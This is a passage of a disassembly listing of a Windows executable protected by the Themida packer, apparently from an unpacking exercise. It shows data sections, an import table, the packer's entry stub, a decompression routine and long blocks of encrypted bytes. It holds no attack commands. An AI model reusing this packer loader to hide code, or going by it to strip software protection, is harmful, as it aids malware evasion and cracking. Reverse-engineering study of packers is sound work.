sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwľ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 4B45946Bh, 4B783h, 54098h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C0A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053F46D SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053F6E3 SIZE 00000055 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A3Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53C0A4 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53C0A4 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 15333C4h, 1101CEBFh, 9222AEAEh, 0C8BB1BE1h, 0FF46B821h dd 0F3B83BD7h, 85037024h, 3645DE7Dh, 0AF7F37C2h, 0E6D53417h dd 1EE10335h, 354BCFEh, 696D6568h, 6A846164h, 0E17122EAh dd 9822BF1Bh, 0C8BF1EE1h, 0FC46B811h, 46B88733h, 3007AFEBh dd 8312D34h, 22477E5Fh, 0D0D78F70h, 1EE103C6h, 0E101E8AFh dd 52B8BB0Bh, 74736507h, 41337261h, 0D32E8B70h, 58A7E478h dd 0B844D1AAh, 10C5728Bh, 80E860D4h, 0D3ED815Dh, 60B0333h dd 102D9589h, 91B50D08h, 7D858428h, 0BD830721h, 0E70506Fh dd 0E88B0C74h, 0FB8E245h, 7078C24Dh, 91E32444h, 6A06A53Eh dd 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h, 0D5E90A89h dd 214E910h, 405F4C91h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0034C1h ; --------------------------------------------------------------------------- dw 4524h dd 0E6C08D8h, 8896340h, 80F37D81h, 0F741D19h, 83FC0820h dd 0FF45CC2Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h dd 0FF7CC481h, 10490247h, 8D00350Ah, 5D8B8045h, 8551C708h dd 8D501219h, 0C3D10A80h, 412A1888h, 81280B89h, 5D8006BDh dd 27A5E375h, 64BA8D0Ah, 8075013Bh, 0F4BB0E8Ah, 3B85B24h dd 785437ABh, 0FF3D0D3h, 754B080Eh, 0C3AFC1F7h, 4A494647h dd 0A8F94618h, 0AE61D142h, 0F0D0818Ah, 28EEF6D7h, 284DFC45h dd 0F2AD04EBh, 3E803146h, 4DBAF740h, 8634B984h, 7FEB0C7Dh dd 32F8433Eh, 13F0126Dh, 10F40E2Ah, 65C14A05h, 0D60004F0h dd 3E0D1F8h, 2880E5C2h, 1C8ADB33h, 0FB738030h, 0A0A7230h dd 0F4057739h, 22C9FBEBh, 192914A6h, 0FD660A0Dh, 7D1EBD08h dd 0B00AC33Ah, 72411A10h, 460AC30Bh, 247A0677h, 615D0188h dd 83F4ECF0h, 7202CC7Dh, 0C00CB06Ch, 99A5DD76h, 7F826AAh dd 0A88D1D38h, 553B02A8h, 78820FFCh, 6B0BDA7h, 43F938AAh dd 0B98308BAh, 0FCA17082h, 3650BDh, 7470FFEh, 0B9FA7549h dd 736A1722h, 0D18F01BBh, 0BCEB82F1h, 8E01760Ch, 0C384486h dd 9D605107h, 0FB1DDF36h, 7268A94h, 305E928h, 10DB8C59h dd 133C0589h, 5CD98351h, 0D06BC32Ch, 0C304E956h, 0C45E211Dh dd 256D8A90h, 45820519h, 21801808h, 33C45646h, 210DC2EDh dd 76F1F481h, 67D831CFh, 0D4D9C06Dh, 14C034CBh, 5B4E3982h dd 70F7E76h, 43D51B8h, 663BC7D1h, 751D5846h, 11582E09h dd 0AEC480Eh, 69065E4h, 0C5840064h, 57968E05h, 1E5381A9h dd 29C20415h, 0CE718C19h, 0AC0EB7E7h, 182BFF66h, 22047781h dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 670230CEh dd 8C13EC41h, 0FFCC3F7Fh, 459F4021h, 0A060E9D4h, 152C462h dd 11254D8Ch, 9B1AA82h, 845AAB9Ah, 4C561311h, 82155EE7h dd 508162EEh, 8A892008h, 1344B9F5h, 4397230Ah, 0FE8B50h dd 0BCDA8D67h, 16A87444h, 94E2813Eh, 0ED23CB4h, 0A6CA0BDFh dd 0A13B6386h, 59185115h, 8A23C472h, 1E1145h, 0DBC45141h dd 0FD71ADEh, 0FD2ECCF8h, 8A109762h, 0D4812380h, 8619C813h dd 2C80C1Ah, 30573852h, 8AE4C45Fh, 1C227546h, 0C4574701h dd 0F46B83C3h, 181D4BD8h, 210FEA4Ah, 34A425B4h, 0A6C317F7h dd 6402E38Ah, 61587819h, 8AC8C460h, 0C089917Dh, 0E0C45848h dd 0BF4DA007h, 5C16B451h, 14562052h, 2D0EE930h, 94BBBCh dd 0DF9C59DEh, 5F857A96h, 10B1FB0Ah, 0A028398Bh, 0F906DA7Ch dd 7698C782h, 56B90316h, 2C1CC6BDh, 458E1081h, 0CBBB0E18h dd 803F1544h, 0C753CA59h, 3203C3E8h, 8B7FB830h, 731001FBh dd 10431F5Fh, 0CF1F4887h, 3E0C3398h, 4451B273h, 613B76F2h dd 90E01E53h, 0B95C8005h, 6151219Ah, 0F2290FAh, 0F0845A62h dd 0FDD907F7h, 8C150382h, 0B683A286h, 0DA186579h, 0E00F2DEAh dd 52830014h, 0F74E274Ch, 0D7F0B7FFh, 8CDFEB39h, 97383E1Fh dd 0FDE8B7EAh, 103F621h, 77986F22h, 0D2CB98D3h, 0CF710Eh dd 30B3D4Ah, 90E3CE84h, 0E6609B74h, 0C5C6E508h, 14851C2Bh dd 0F47F4D25h, 671FC18h, 0E2F0AB18h, 3E3DDE10h, 0DC20538Ah dd 1A2F4503h, 0F8EEF350h, 0EC40A1h, 6847664Fh, 0C60DBFE5h dd 0DC609E60h, 0A44941h, 48437824h, 8456ED31h, 85FB3Dh dd 0A696C66Bh, 0F6E23CEBh, 0C2F38BF6h, 0D868EC98h, 6BB18D00h dd 4A3BD5A1h, 6FC1009Dh, 78745E40h, 40C56A4h, 0D1EACEFCh dd 52EC0042h, 0DE0C0337h, 5303A672h, 4F9106E1h, 909000D7h dd 0B550E997h, 4303DEBFh, 0B27B243Eh, 0DF881F9Fh, 3D0900D4h dd 0FDFF301Ah, 0AC70E0C0h, 0A0CF2BF2h, 1A7B634h, 0FDC0FFDFh dd 0C4507CDCh, 0B300CD40h, 2F35FBE1h, 14F4F6E4h, 9C2AA00Dh dd 48B83F8Fh, 9D4169F5h, 68299FF0h, 8BC21ECh, 1B00A83Eh dd 1C3D5DDBh, 0F57B3150h, 0C7AA7A89h, 9EF12009h, 847C0329h dd 5E4105EEh, 83605D67h, 0C09C8E10h, 8324A9D9h, 0E0BF5A30h dd 6030C21Ch, 626ED92Fh, 50DCD493h, 49ED848Ch, 7FDE00ECh dd 4C32CDC3h, 19C1F483h, 1E7BE6FCh, 95E9C8h, 4CC69F03h dd 7ABD51F0h, 0D4B0A255h, 1E00E3A4h, 0E9328D54h, 30EC3DFCh dd 2421A11Ch, 0A060EA73h, 13016790h, 4E921A6Fh, 880488A1h dd 0E8CE45F6h, 0C2D2B840h, 700F9Eh, 31751CDEh, 0A369173Ch dd 0E793AD03h, 77B55671h, 5B0F5C40h, 43581A00h, 72A19C05h dd 0BFBE9A18h, 88EC2061h, 7A306A6Eh, 9C3D18B0h, 93BEF29Ah dd 18EC0604h, 0AA18B9A7h, 6591E372h, 0FDB4001Eh, 0F4696E7h dd 0CB61827Ah, 1B581D48h, 0F4B081D2h, 0F4489961h, 45E84420h dd 0AA183E71h, 0D551DE68h, 9DF3194h, 56EB50B8h, 0CE20A0F8h dd 0AA203B9Dh, 0C531EEB2h, 96702044h, 42415400h, 8CD2A30Dh dd 0FF90A19h, 40DC84E1h, 14023192h, 4383BE00h, 0E5B97B2Eh dd 0ED2513C1h, 29511820h, 7300F886h, 0B827898Ah, 3DE9AF5Ah dd 9A09943Bh, 1423C31Ah, 0C111DF90h, 3C00E76Eh, 0A9E0864Ah dd 711201F0h, 5020F2A5h, 928E72C4h, 0F18700F4h, 0E7250C5Ah dd 6531F4ECh, 50B9C997h, 0F889F2E9h, 0C0023B46h, 0E402DF7Bh dd 0A54446Ah, 15E85813h, 51E50FECh, 12A62E1h, 90498EADh dd 0CE6DA628h, 77DB0570h, 0E092F1h, 1C740DE8h, 6230707Ah dd 5B14D1D6h, 0CAE11D5Ah, 0E82900A2h, 68BA5CDh, 8449807h dd 10F7ED8Ch, 0AE70E4E0h, 195B00C4h, 0A6CD3DB8h, 253A5E67h dd 510075D0h, 866242EEh, 3C69AE4Ch, 0C600EF0Eh, 124335DCh dd 313E2F8Eh, 0C85B808Fh, 0B01963C4h, 0BB101DE0h, 0B792C0D4h dd 0A65C5368h, 26F6ED00h, 6BCC37A7h, 0EEEC005Ah, 8FE1AC1Eh dd 3092CF20h, 904CCE03h, 993BE59Ah, 0C44BB30h, 1CC0DC97h dd 50926AEBh, 41A7A8C2h, 7A8001E9h, 289900A0h, 38F6699Fh dd 202AA419h, 0CA058827h, 0C5B5B11Fh, 0AB8F3B80h, 0E7479862h dd 0F8404022h, 0DE781FA5h, 0C3AE4A26h, 